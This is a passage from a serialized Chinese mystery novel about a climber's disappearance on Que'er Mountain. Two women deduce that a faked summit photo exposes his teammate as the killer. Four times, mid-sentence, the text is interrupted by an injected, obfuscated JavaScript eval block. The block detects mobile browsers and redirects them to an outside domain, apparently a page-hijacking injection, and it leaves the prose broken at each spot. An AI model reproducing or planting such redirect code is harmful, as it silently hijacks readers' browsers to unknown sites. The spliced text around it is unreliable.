情况已经了解得差不多了,再呆下去也不会有更多的收获,锦里跟花城于是告别了小黄鸭三人,回到了自己的帐篷。 “坐下歇会儿吧,总觉得有点心累。”锦里说完话,半晌没听到花城的回答,她转过身一看,才发现一直默默跟在她身后的花城,状态有些奇怪。 她的脸色实在太过苍白。 “你怎么了,还好吗?” “我有点头晕……”花城虚弱地说道。 锦里连忙过去扶着她坐下,又给她倒了杯水:“你是不是高反了?” “也许是吧,”花城用手撑住额头,眉头紧皱,但她仍旧坚持继续之前的话题,“你说,凯特究竟去哪儿了?” “先别再想这个问题了吧,你的高反肯定是因为情绪过激引起的。” “可是,你不觉得很奇怪吗?凯特一个大活人,早上九点零五分的时候还在顶峰发消息,那时他第一个登顶,周围没有别人,但小黄鸭他们上去的时候却到处都找不到他的人影了,就算凯特要下撤,他也必须按原路返回——即使像你说的那样,他是使用了不同的路绳,那他也是从跟上去时同一侧的那个冰壁下去,也就是说,瑞冰呆的那个冰壁下方是凯特的必经之路,他从那里经过不可能一个人都没发现他……但事实却是,真的没有人看到过他的影子,这一切都太诡异了! “而且他的两个队友还——” 说到这里,她突然一阵头晕目眩,锦里连忙用手撑住她。 锦里委婉道:“花城,你登山的经验太少了,你还不完全了解这项运动的残酷,雪山跟失踪还有死亡从来都是密不可分的……” “你的意思是说,凯特的失踪也是一件很正常的事?” “我没有说这件事很正常,只是这样的事情发生得太多了,刚刚我们都避免谈到一个可能性,但其实那是很有可能发生的:凯特也许只是在下撤时太大意,也许那并非他的本意,但因为当时风雪太大,他登顶后情绪又太激动,或者是身体透支太过,一时没注意,手中的技术装备就脱了手,他也因此偏离了既定的路线,坠入雪地没力气再爬起来,积雪慢慢将他的身体掩埋住了,因为不在既定的攀登路线上,所以谁都没发现……这样的意外太多太多了,如果你关注登山新闻的话,每年都会有类似的事故发生,而因为找不到凯特的身体,也不知道他坠落到了什么地方,我们可能再过十年二十年都解不开这个谜团。” “不是有安全带保护着他吗?就算他脱手了,腰间的攀登绳也应该会将他吊在半空中,确保他不坠落。” “那些保护措施并不是万无一失的。” “假如真的像你所说,他偏离了既定路线,就算是这样,他也肯定就在附近,短短片刻时间,积雪也没大到足以将他整个人盖住的地步吧,怎么可能没人发现有这么一个大活人倒在旁边?” “当时风雪很大,也许他们的视线因此受到了阻碍;又或者是他们太过专注于攀登,如果是一个活动的物体划过身旁,他们还可能会注意到,但静止在地上一动不动的身躯,被忽略掉也不是什么奇怪的事……总之,因为雪山暗藏的风险太多,造成失踪的可能性也太多了。” “所以,你是要我放弃追究这件事吗?” “……这是最正确的选择。” 花城意味不明地看着锦里,也许是因为高反太严重吧,她紧皱着眉头,过了好一会儿才轻声说道:“锦里,我不知道你为什么可以这么平静,凯特怎么说也跟我们有过一面之缘,现在他下落不明,生死未卜,这可是活生生的一条人命,难道仅仅用‘意外’两个字就可以将一切解释得通吗?你说我想太多也好,说我多管闲事也好,我就是没办法不去想这件事,否则我心中会很不安的。 “可是你,却好像认为这并不是什么大事……你太冷漠了,锦里。” 锦里的脸色一瞬间变得无比苍白。 从帐篷里出来后,锦里找到夏晴天,拜托她帮忙照顾高反严重的花城,再然后,她开始在营地附近漫无目的地踱步。 “你太冷漠了,锦里。” 这句话一直在脑海中回荡着,怎么甩也甩不开。 锦里又不可控制地回想起了十年前的慕士塔格峰,回想起那个永远被留在慕峰上的人,木格。 木格失踪的时候,大家全体出动去找他,然而不过短短几十分钟,当发现三号营地周围遍寻不到木格的踪影时,队伍就决绝地选择了继续冲顶,木格就这样被抛下了。 当时年仅十五岁的锦里,有没有觉得他们很冷漠呢?应该是有的吧,所以直到现在她都还念念不忘这件事。 可是刚刚花城却对她说,“你太冷漠了”。 人都是会变的,难道她也渐渐变成自己最讨厌的那种人了吗? 13 锦里离开帐篷以后,花城马上就后悔了。 当时怎么就一时冲动,对锦里说了那么多伤人的话呢?其实她心里不是那么想的,只是对锦里放弃探寻凯特下落这件事,她实在感到太不可置信。 感觉自己被背叛了。 原本想对锦里说的话,也还没来得及说出口…… 头似乎更痛了。 花城一手撑住额头,一手拿起手机,翻到存储相册的地方,最新的一张照片是一个男人举着手拉旗,对着镜头笑得很灿烂,蓝底白字的手拉旗上写着“成功登顶雀儿山6168米”几个大字。 这个男人就是已经失踪将近一天的凯特,这是他的登顶照。 从这张照片就可以看出,当时的风雪有多大,凯特周身已是白茫茫的一片,能看清的只有他戴着抓绒帽与登山眼镜、身穿冲锋衣裤、攀登绳缠绕在腰间的安全带上、一副全副武装的样子。 为什么花城会有这张照片呢? 时间倒回到今早,在前往一号营地途中,花城在朋友圈看到了凯特发布的那条消息,其实当时她每隔几分钟就会拿出手机刷新一次,为的就是第一个知道凯特他们的冲顶情况,皇天不负有心人,她总算是第一时间看到了——与之前在小黄鸭几人的帐篷看到的不同,这条消息的文字下方,还配了一张登顶照片。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15201050|165708||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>当时花城可兴奋了,她真心为凯特感到高兴,可是不知为何,当她习惯性下滑屏幕刷新时,却发现消息变了:那张登顶照片不见了。 凯特似乎删除了那条消息,又重发了一条不带配图的纯文字版,就是后来大家在小黄鸭几人的帐篷看到的那个样子。 正是因为发生了这件事,花城才可以断定,凯特的失踪另有隐情,这件事绝对是人为的。 好在她当时及时保存了这张照片。 这件事花城没对任何人说过,原本她打算等到两人独处时就告诉锦里,但突如其来发生的争执,把一切都打乱了…… 凯特的队友有问题。 原本花城是想这么对锦里说的。 她觉得那几个人——小黄鸭、大黑鹅跟瑞冰——都很可疑。 要问她为什么,她也拿不出充足的证据来。只是有些地方花城觉得很奇怪,三名队友都说没看到凯特的登顶照,凯特确实是秒删了照片,三人那时候也确实是在大冰壁下聊天,但是难道就这么巧,三个人都恰巧没看手机、没看到那张登顶照?还有大黑鹅,他一直对凯特登顶这件事表示怀疑,就象是在刻意引导什么一样……然而事实上,凯特千真万确是登顶了的,现在花城手里那张被秒删的照片就是证据。 那么,花城忍不住开始猜想,假如凯特的失踪是人为、甚至他可能已经遭到杀害的话,那张照片会不会是凶手删掉的,目的是隐瞒凯特登顶这件事? 但为什么删掉之后又要发一段文字来宣告,这不是自相矛盾了吗?到这里花城就想不明白了。 而且,虽然很不想承认,但这三人都有很明确的不在场证明:凯特登顶的时刻,也就是早上九点零五分左右,他们三个在大冰壁下聊天,之后小黄鸭跟大黑鹅继续向上攀登,他们并没有伤害凯特的机会,因为还有很多其他队伍的队员跟他们同行,那些人不可能跟他们串通一气作伪证;留在大冰壁下的瑞冰同样没有伤害凯特的机会,因为后面的队伍也陆续赶到了大冰壁下,瑞冰的一举一动相当于都有人监视着。全程他们三个都没有能够独自行动的时间,又怎么对凯特下手呢? 会不会是因为当时风雪太大,其余人视线受阻,给了那三个人中的某一个机会,让他伤害或是杀害了凯特?花城脑海中刚刚冒出这个想法,她自己就将它否决了。 不可能的。 就算当时风雪真的很大,四周白茫茫一片,让小黄鸭、大黑鹅或者是瑞冰有机会对登顶后下撤的凯特动手,但是之后呢,他们要怎么藏匿凯特的尸体?要知道,现在凯特是处于失踪的状态,至今还没有人知道他的下落。凶手总不能在动手后就将凯特留在原地,那样早就被人发现了,他必须要将凯特丢到远离攀登路线的其他地方去,避免被其他人看见,凯特是个成年男人,要搬运他的尸体势必很耗时耗力,但当时花城怀疑的那三个人身边都有其他人存在,他们并没有机会也没有时间可以这么做。 所以凯特究竟去哪儿了呢?他是失踪还是已经死了?他现在在哪里? 越思考,不明白的问题就越多。 13. 雀儿山杀人事件⑦ 14 花城苦恼地揪了揪自己的头发,一副痛不欲生的样子。这一幕被刚进帐篷的夏晴天看到了,她连忙走过去扶住花城:“你还好吧?” 花城摆摆手表示自己没事,她不想让别人为她担心太多。 “我在营帐外面碰到锦里,她让我来看看你的,不然我还不知道你高反了。”夏晴天将从保温杯里倒出的水递给她,“来,小心烫。” “谢谢。”花城喝了水,感觉好些了,她有些赧然地问,“锦里去哪了啊?” “我也不知道,”夏晴天仔细打量了花城片刻,做出结论,“你们两个都有点怪怪的,怎么,发生什么事了?” 花城正想找个人倾诉,于是将这几天发生的事一五一十告诉了夏晴天。 从她跟锦里两人在酒店外面认识凯特跟他的队员开始,一直讲到今天凯特在登顶之后失踪,至今音讯全无,再到她跟锦里回到帐篷后发生的争吵。花城将事情说得很详细——除了凯特失踪的具体经过,因为要说这个的话就太耗费时间了。 夏晴天听得很认真,没有中途出言打断花城的倾诉,她本身就要年长一些,性格又很温柔,所以花城在说完之后,下意识地就向她寻求帮助:“我这么说,是不是太过分了?” “我觉得是有一点过分了,”夏晴天柔声道,“虽然锦里在我们面前总是有些沉稳,似乎不太爱凑热闹的样子,但在我心里,她绝对不是一个冷漠的人。” “我也不是真心要这么说的……”花城的声音有一些沮丧。 “你知道在冲顶四姑娘山二峰那天,我跟锦里之间发生了什么吗?” 花城迟疑着摇摇头:“那天我体力不行,一直落后于你们。” “准确来说,不是我跟锦里之间发生了什么,而是我几经探索,终于发现了我的好友夏梦在雪山受伤的原因,当时我感觉出乎意料,因此备受打击,是锦里一直在身边照顾我、安慰我,她还很注意我的身体状况,生怕我出现什么不适症状……虽然这已经是好几个月以前的事了,但我到现在都还记得很清楚,我很感激锦里,她虽然嘴上不说,但其实是一个很关心别人的人。” 听完这番话,花城心中愈发愧疚了。 夏晴天安慰地拍了拍她的肩膀,脸上突然露出一种若有所思的表情。 “其实我觉得,她之所以表现得好像对什么都漠不关心的样子,是她在刻意压抑自己的情绪,因为她心里似乎藏着什么事。” “什么事?”花城不解。 “我也不知道,只是我有这样一种感觉,她会不会也是为了某个人或者某件事,才重返雪山的?你不觉得奇怪吗,就凭锦里对登山知识的了解,可不象是只登过几座山的人,她为什么还愿意陪着我们去攀登五千米级的初级雪山?” “这……”花城当然回答不上来。 “我觉得其中一定另有隐情。” 也许是这样的吧,花城也没办法否定这一点。 但是有一点是她们都能肯定的,那就是锦里一定对他们这个团队没有恶意,她很关心每个人。 花城觉得,至少自己不应该辜负这份关心。 花城是一个落落大方的女孩子,她想知道什么事就会努力去探究,但是如果她觉得自己犯了错,也会干脆利落地道歉。 于是当晚回到帐篷睡觉的锦里,就迎来了花城面对面的一个九十度鞠躬,附带超大声的道歉申明: “对不起,锦里,我不会再纠结这件事了,希望你能原谅我!” “别、别这样,我并没有怪你,”相较之下,锦里显得慌乱多了,“我只是在反省我自己,当时我好像确实把事情说得太绝对了,说什么再过几十年也解不开凯特失踪的谜团……” “好了好了,”在一旁观望的夏晴天连忙当起和事佬,“这件事到这里就翻篇吧,大家谁也别再提了,好不好?” 花城笑着点点头:“好啊,我不会再去想它了。” 锦里也终于松了一口气。 15 一夜无话。 时间很快来到第二天。 今天8848登山队的成员需要前往海拔5350米的二号营地,出发之前,格勒召集大家开了个小会,表示接下来的路段冰裂缝纵横,所以队伍需要结组前进。 经过之前的技术装备知识培训,大家对于结组的概念并不陌生,格勒麻溜地将队伍分成两组:摩羯鱼、惊蛰跟游人为第一组,因为都是男生,体力相对好点,他们就在格勒的带领下走在前头;剩下的人结为第二组,在次仁的带领下跟在第一组后头;至于高山摄影师桑吉则走在队伍的最后面,方便给所有人拍照。 就像之前所说的那样,每个人都在腰上穿戴好安全带,结为一组的队员彼此用攀登绳相连。 这么一副全副武装的大阵仗,起初还让人有些紧张,觉得这段路是不是真的这么危险,目之所及四处都是纵横的冰裂缝,昭示着他们已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15201051|165708||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经深入雀儿山的冰川地带。但习惯之后感觉也就还好,只要跟着前面人的脚步走,就不会有落入冰裂缝的危险,再加上领头的格勒跟次仁行进速度并不快,所以即使是体力稍差的花城也能轻松跟上队伍。 就这么走了大半天,脚下的冰裂缝渐渐减少,取而代之的是大片大片厚重的积雪,地面颜色也由冰川与泥土混合而成的灰黄色转为完全被雪掩埋住的纯白色,之后,大家有惊无险地抵达了二号营地。 从这里开始就跟凯特那支自主登山队的攀登进程不一样了,自主登山队从一号营地途经二号营地的时候,并没有停下脚步,而是继续向上,他们翻越了前方的一个大冰壁后,在高C2扎营入住,并在当晚凌晨两三点就起床出发冲顶。 而与之相比呢,由商业团队带队的8848登山队成员今晚会在二号营地休息一晚,明天翻越前方的大冰壁后,在三号营地扎营,直到后天凌晨才会出发冲顶。 连体验一下凯特的攀登进程都不行了……思绪无意识地想到这里的时候,花城突然回过神来,她几乎是下意识地在脑海中告诫自己:怎么回事,不是说好不再去想凯特的事了吗?不要再想他了,反正也不会有结果,只会让关心自己的人白白担心,不要再去想了。 刻意压制着自己情绪的花城,这一整天的话都非常少,一向喜欢闹腾的摩羯鱼还问她:“怎么了小姑娘,你今天是不舒服吗?” 这句话引来了其他人的注目,花城只好含糊着点了点头。 好在很快就有其他事吸引了大家的注意,二号营地海拔5350米,比之前登顶的二峰海拔5276米还要高,他们突破了攀登路上的新高度,大家都因此兴奋异常。 “就算最后不能登顶,我也不虚此行了!”游人那张总是笑吟吟的脸上,嘴角弯曲的弧度比以往任何时候都更大。 “我也是。”惊蛰一本正经地跟着点头。 至于摩羯鱼更是静不下来,已经开始跟摄影师桑吉讨论怎么拍一些团队纪念合照了。 呼!花城在心里吐了口气,忍不住将目光偷偷放在了锦里身上,果然,她的神情是所有人之中最为平静的。真奇怪,以前花城从来没有想过,这样的高度其实是锦里早已抵达过的了,重来一次,她真的还会为此而激动吗? “雪山跟失踪还有死亡从来都是密不可分的……我们可能再过十年二十年都解不开这个谜团。” 坚持着这个观点的锦里,又经历过什么? 14. 雀儿山杀人事件⑧ 16 在二号营地度过一晚之后,就该出发前往三号营地了。 这天的路程终于开始有了难度。 困难的地方就在于抵达三号营地前的那个大冰壁。真正走到冰壁下,花城才发觉它的坡度竟然这么陡,据格勒所说,这个坡度有将近六十度,但大家都不相信。 “我觉得都快九十度了!” “而且还很高。” “又高又陡,根本就是垂直的嘛……”花城也跟着抱怨了一句。 但不管怎样,他们必须翻过这个大冰壁,这是通往三号营地的必经之路。 好在他们可以有时间原地休息一会儿,因为要等格勒在前面打头阵,将路绳修好,其余人才可以靠着路绳向上攀爬——虽然冰壁上已经有了好几条其他队伍修的路绳,但当然还是自己修的比较靠谱。 这是花城第一次看到登山队修路的样子,格勒的动作又快又稳健,显见是常做这件事的,他刷刷刷几下,一条从冰壁下面延伸到顶端的路绳就顺利修好了。 “太酷了吧……”她忍不住感慨道。 转头一看,其余人也是一脸惊讶加赞赏的样子。 接下来就要开始一个一个往上爬。根据之前培训的内容,大家借用上升器慢慢上移,上升器有些形似大号的钥匙扣,可以拿在手上使用,在向上攀登的过程中,将它的一端连接着攀登绳(攀登绳连接着腰上的安全带),另一端连接着路绳,以便在攀爬冰壁的同时保障自身的安全,避免滑坠。 花城走在队伍的最后,身后跟着尽忠尽职的摄影师桑吉,她有些害怕,但更多的是兴奋。 不断操作着手上的上升器,起初动作还有些生疏,渐渐地,一切都变得顺畅起来,花城心里那口气终于松快了一些,之前还觉得陡峭的冰壁此刻也变得顺眼了起来。 不知过去一个小时还是更长的时间,气喘吁吁的花城抬起头,终于看到了冰壁上方的风景,此时其他队友已经全部上去了,正站在上面看着她,为她加油打气。花城咬咬牙,还剩三步,两步,一步,她的双臂撑在冰面上,右脚抬起,一个侧翻终于上去了。 “厉害厉害,小姑娘,今天没拖后腿啊!”摩羯鱼一个劲儿地给她鼓掌,花城直起身来,笑着拍了他一下。 突然,她感觉腰间被什么东西拉扯着,垂头一看,原来是路绳的末端正钉在眼前的地面上,而与之相连的上升器拉扯到了连在腰间安全带上的攀登绳。 “现在可以取下上升器了吧?” 花城问了一句,蹲下身去准备将它从路绳上取下来,就在那一瞬间,她突然一个激灵,全身的汗毛都竖起来了。 眼前这幅场景……不对劲,有哪里出错了。 这种强烈的违和感,是怎么回事? 她似乎忽略了什么重要的事。 那之后,花城一直在拼命回想,但却怎么也想不起来是哪里不对劲。 当时其实也只是灵光一闪,那种感觉在过后却无论如何也找不回来了。而且她也没有时间去想太多,到达三号营地后没过多久天就开始擦黑,协作们十分尽职尽责,很快就生火做好了一顿简陋却美味的晚餐,大家围坐在一起吃过饭,就该准备进帐篷睡觉了。 对此队员们已经很有经验,就跟攀登二峰时一样,之所以今晚要早睡,是为了明天凌晨三点早起冲顶。 “明天天气状况可能不会太好,甚至说不定会下雪,大家一定要提前做好心理准备。”临睡前,格勒这么说道。 对此花城也略有所觉,今天一整天天空都阴沉沉的,看不到一丝阳光。说不定明天,他们会遇到跟凯特登顶那天相同的暴风雪天气……这也算另一种意义上的重复他走过的路吧。 17 结果事情并没有花城所想象的那么糟糕。 冲顶当天,大家戴着头灯钻出帐篷,发现空中确实飘着细碎的雪花,但风雪还不算太大,格勒松了一口气,表示“这样的状况还在可以接受的范畴,如果风雪真的太大,继续前行就会很危险,队伍必须考虑提前撤退”。 对此,大家表示十分庆幸。 毕竟好不容易走到这个地方,谁也不愿意半途而废。 “好,既然天气状况没问题,那我们就出发吧!” 说完这句话,格勒就一马当先走到了最前面,他负责带路,次仁走在中间,他们两个一人负责照顾三名队员,桑吉照旧缀在队伍的最后。 这个模式让花城想起来几个月前他们攀登二峰的情景。 当时她因为体力不好,全程拖在队伍的最后头,今天也是一样,但不同的是,锦里跟夏晴天都陪在她身边。 是不是因为她们是除她之外唯二知道凯特失踪事件的人,她们因为担心她的状况,所以才牢牢跟紧她? 虽然这么想着,但花城并没有开口问个究竟,已经说好了不再去想凯特的事,即使她做不到,但至少不要再提起,现在对大家而言最重要的事是冲顶。 根据之前小黄鸭的话,要想登顶雀儿山,还需要翻越第二个大冰壁,对此,花城有些紧张。昨天攀登第一个大冰壁的时候,她其实就有一些吃力,也是队员中最后一个翻过去的,只希望今天能够一切顺利。 也许是因为他们出发得很早,周围完全看不到其他队伍的影子,黑暗中一切都很安静,能听到的只有雪花飘落的声音、冰爪凿入雪地的声音以及断断续续的喘息声。 不知道往前走了有多久,天空开始泛起微光的时候,队伍终于来到了第二个大冰壁下。 现在他们可以短暂地休息一会儿,等待格勒将路绳修好。 “你还好吧?”锦里跟着花城在原地坐下,她开口第一句话就是这个。 而花城呢,她喘了好一会儿,才伸手比了个OK的姿势:“我看我还是跟昨天一样,走在最后一位吧,这样可以在冰壁下多休息一会儿。” “嗯,坚持住!我估计等到天亮,我们就可以登顶了,但是也不要太勉强自己哦。” 花城点点头,在心里默默为自己打气。 天色越来越亮, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15201052|165708||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 路绳也已经顺利修好,冒着仍旧下个不停的雪花,格勒站在冰壁上方,关切地看着他们一个一个往上攀爬。 摩羯鱼在最前头,身后紧跟着惊蛰、游人,然后是夏晴天、锦里,最后是花城。次仁跟桑吉缀在队伍的最后方。 就像昨天又重演了一样。 花城攒足了劲儿往上爬,很快胳膊跟大腿都开始酸痛起来,她暗自咬牙忍住,没有喊停,只是机械地不断重复同样的动作,到后来,她甚至觉得身体已经不是自己的了,有那么一瞬间,大脑甚至还怀疑自己是不是在做梦……这时,她终于顺利翻过了这个大冰壁。 前方再也没有接连起伏的雪山障碍,放眼望去,周围连绵不绝的群山似乎都在脚下更低的位置,而雀儿山的顶峰就在触手可及的地方。 “走吧,马上到顶了!” 格勒吆喝了一声。 花城闻言,俯身想象昨天那样将上升器取下来,她刚刚弯下腰,紧跟在她身后的次仁立即伸手制止了她: “不用动它,一会儿下撤的时候还用得上。” 花城呆住了。 那一瞬间,昨天感受到的那种强烈的违和感,又再度出现了。 而这一次,她终于发现了不对劲的地方。 “上升器……不用取下来吗?” 她听到自己仿佛被抽空一切的声音,这样虚弱地问道。 “不用,”次仁语速飞快地解释道,“一个是因为现在的天气,你看风雪从半夜下到现在就没停过,谁也不知道待会儿天气状况会不会变得更糟糕,所以我们只在顶峰停留很短的时间,拍个照就走;第二个就是后面还会有其他队伍上来,为了不造成拥堵的现象,我们也得尽快离开。 “所以不用现在把装备收起来,因为马上就用得上。” “其他人……也是这样的吗?”花城的声音愈发小了。 “什么?” “其他登顶的人,拍照时也不会卸下装备吗?” “当然。” 听到这个斩钉截铁的回答,花城整个人完全呆住了。 所有人都顺利登上了顶峰,局面陷入短暂的混乱中,桑吉忙着给每个人拍登顶照,格勒在一旁喊着:“动作快点!动作快点!天气很不好,我们要尽快下撤!” 一片嘈杂之后,不知是谁将处于被动的花城拉了过去,原来是要拍大合照。站在花城旁边的锦里此时才发现她的异常。 “你怎么了?” “……” “身体不舒服吗?还是体力透支了?” “我……”花城张了张口,却不知该从何说起。 咔嚓一声,桑吉对着所有队员摁下拍摄键,将这难得的登顶时刻记录了下来。 “好了,完美!” “来来来,准备下撤了!” 众人四散开来,花城也终于组织好自己的语言,她看向锦里,眼中浮现出闪烁的泪光:“拍照的时候我才终于知道,凯特的遇难是人为的,凶手只可能是那个人,我全都明白了。” 15. 雀儿山杀人事件⑨ 18 “真的吗?” 锦里只来得及问这么一句话,之后就要跟着队伍往下撤了,他们要在天黑前返回大本营,因此一点时间都不能耽搁。 一路上锦里都在思考花城的意思,但却怎么也想不明白,直到回到大本营,她终于有机会将事情问个清楚。 “都是我的错,”花城低声道,“那天如果我不跟你吵架的话,你肯定早就知道了。” “什么?” “我手上有凯特的登顶照,那天我本来打算给你看的,但却因为争吵……”花城将手机里的照片调出来,摆到锦里面前,“这就是凯特的登顶照,是我从他的朋友圈里下载下来的,如果是你的话,肯定一眼就能看出问题所在,然后解开所有的谜团吧?” 锦里定睛看着眼前的照片。 凯特站在白茫茫一片的空间中,四周因为风雪什么也看不清,能看清的只有他戴着抓绒帽与登山眼镜、身穿冲锋衣裤、攀登绳缠绕在腰间的安全带上、一副全副武装的样子。 锦里终于明白了花城的意思。 “这张登顶照,是假的。” 花城苍白着脸笑了笑:“我想也是。” 她将手机收好,然后拉着锦里面对面坐下:“但是当时我不知道,第一眼看到这张照片,我完全没发现有什么问题,直到今早登顶的时候,还有拍照的时候,我才明白过来。” “这不能怪你,你从来没有攀登过技术型雪山,自然不会知道。”锦里反过来安慰她,“尤其是雀儿山这样的地形:翻过大冰壁之后就是顶峰。本来考虑到下撤的时间,攀登者就不能在山顶逗留太久,再加上这几天天气状况很不好,每一个登顶的人一定都是拍完照就要立即离开,完全没必要卸下装备。所以真正的登顶照,拍出来应该是像我们今早那样的。 “但是凯特的这张‘登顶照’,却是漏洞百出。第一,他的攀登绳缠绕在腰间的安全带上;第二,他的脚下完全没有路绳的影子,按理来说,背景白茫一片是因为到处都是风雪,但既然照片能显现出他整个人的样子,就应该也能显现出路绳的样子——两者都不是白色的。凯特的这张照片,与其说是‘登顶照’,不如说是‘登顶前的照片’,而且看他攀登绳的位置,这还是在他翻越大冰壁之前拍摄的。” “没错,可惜我直到现在才想明白。” “这张照片,你是怎么拿到的?” 对于这个问题,这也是花城之前百思不得其解的地方:“很奇怪,那天早上凯特的朋友圈发布了两次登顶信息,第一次就有附带这张照片,我顺手将它保存了下来,之后没过几秒钟它就被删除了,后来凯特又重新编辑了一条信息,就是前几天你在小黄鸭他们帐篷看到的那样。” 锦里回想了一番:“我记得……那条信息下面没有配图。” “是的,当时大家还觉得很奇怪,为什么没有配图。其实我也觉得很奇怪,他们表现得就好像没有一个人看到过那张被秒删的图片,但我觉得肯定有人是看到过的,那个人就是凶手,凯特一定是被他杀害了。就是从那时起,我开始怀疑凯特的队友,所以我没有拿出我保存的这张图。” “确实,”锦里点头表示赞同,“凶手一定看到过那张穿帮的‘登顶照’,于是他或诱导或强迫凯特删除了照片,但之后又被重发一次的登顶信息却没有被删除,这说明凶手希望大家都认为凯特在早上九点零五分登顶了雀儿山,然而实际上,九点零五分的时候,凯特还在大冰壁下面,发布信息之后,他就被杀害了……毫无疑问,凶手就是当时跟凯特一起呆在大冰壁下的人,也就是——” 锦里跟花城对视了一眼,两人异口同声道: “瑞冰。” “瑞冰。” 19 “肯定只能是瑞冰,只有她有条件这么做。” 锦里又补充了一句。 “可是,路绳又是怎么回事呢?小黄鸭跟大黑鹅到达大冰壁下面的时候,路绳确实已经修好了。小黄鸭说‘他们是第一支把路修到顶峰的队伍,当时就连商业队的路都还没有修好’,这说明那个时候冰壁上只有一根路绳,可是凯特的登顶照是假的,他没有登顶,路绳又是谁修的呢?” 面对花城的疑问,锦里沉吟片刻,缓缓道:“其实答案只有一个,当时第一个抵达大冰壁下的只有凯特跟瑞冰两人,既然凯特没有登顶——否则他不会用假的登顶照来伪装——那么,登顶的只能是另一个人……” “你是说,路绳是瑞冰修的,登顶的也是她?”花城皱起眉头,苦苦思索。 “虽然很出乎意料,但我觉得,只有这一个可能性。而且,说不定瑞冰的杀人动机也跟此有关。” “怎么说?” “根据已知的线索推断,当时的情况应该是这样的:当天凌晨两点钟,凯特、瑞冰、小黄鸭跟大黑鹅从高C2营地出发,开始冲顶,因为体能因素,凯特和瑞冰渐渐跟身后的小黄鸭、大黑鹅拉开了距离,他们两人第一个到达大冰壁下,这时凯特的体能也即将告罄,无力再继续往上攀登,于是瑞冰独自一人修好了路绳,并且顺利登顶雀儿山。 “她登顶后很快下撤,再度跟等在下面的凯特汇合,此时小黄鸭跟大黑鹅仍在赶来的路上,更别说其他队伍了。大冰壁下只有他们两个,凯特或自己动手,或是叫瑞冰帮忙,在大冰壁下拍摄了那张假的登顶照,并配文发朋友圈,假装自己成功登顶了雀儿山,当时的时间是早上九点零五分。我想直到那个时刻,瑞冰才决定要杀死凯特。” “等等!”花城忍不住打断了锦里的话,“你的意思是说,瑞冰是临时起意要杀死凯特的?” “没错。” “可我认为,我还以为她是有预谋的犯罪。” “如果是有预谋的犯罪,她就不会选在那个地方动手,因为她并不能确定小黄鸭跟大黑鹅什么时候会赶上来,如果正好被他们看到自己的犯罪经过,一切不就都完了吗?” “也是哦……”花城恍然大悟。 “所以我想,是凯特贸然发朋友圈的举动激怒了她——虽然我不知道她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15201053|165708||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 愤怒的点在哪里——于是单单让凯特删除假的登顶照还不够,她又在一时冲动之下,动手杀害了凯特。” “用什么方法呢?他们毕竟男女有别,瑞冰应该没那么容易就能杀死凯特吧?更何况再过一两分钟小黄鸭跟大黑鹅就会出现。” “徒手的话确实很难,凯特会挣扎、会反抗,就算瑞冰能杀死他,耗时也会很长。但如果手上有工具的话,即使是女生,只要一击即中,杀死凯特并不难。” “工具?” 锦里点点头:“你还记得修建路绳的步骤吗?” 花城皱起眉头开始回忆:“好像是……修路的人会在冰壁上用冰镐凿出一个个的保护点,然后用绳子将保护点与保护点之间连接起来,形成一条由绳子连接而成的路线……啊!”她终于想明白了,“是冰镐!” “没错。刚修完路的瑞冰手里一定有冰镐,只要趁其不备,用这个东西在凯特的头部用力一击,一条生命瞬间就逝去了。” 这句话之后,她们都沉默了一会儿。 锦里揉了揉脸颊,然后继续道:“杀害凯特后,瑞冰要做的第一件事就是把他的尸体藏起来,她不用藏太远,只要将凯特挪出既定的攀登线路,再动手用积雪将他掩盖住,不会有人发现的。而且特别巧的是,她刚做完这件事,小黄鸭跟大黑鹅就赶到了大冰壁下,两人丝毫没有发现任何异常,脱口问道‘凯特呢’,于是瑞冰将计就计,撒谎说凯特往上走了,就是这个谎言,让大家困扰了这么多天。” “等等!凯特的朋友圈一共发布了两次登顶消息,第一次他发布后很快就将消息删除了,第二次呢?第二次那条没有配图的消息,究竟是凯特还是瑞冰发出的?” 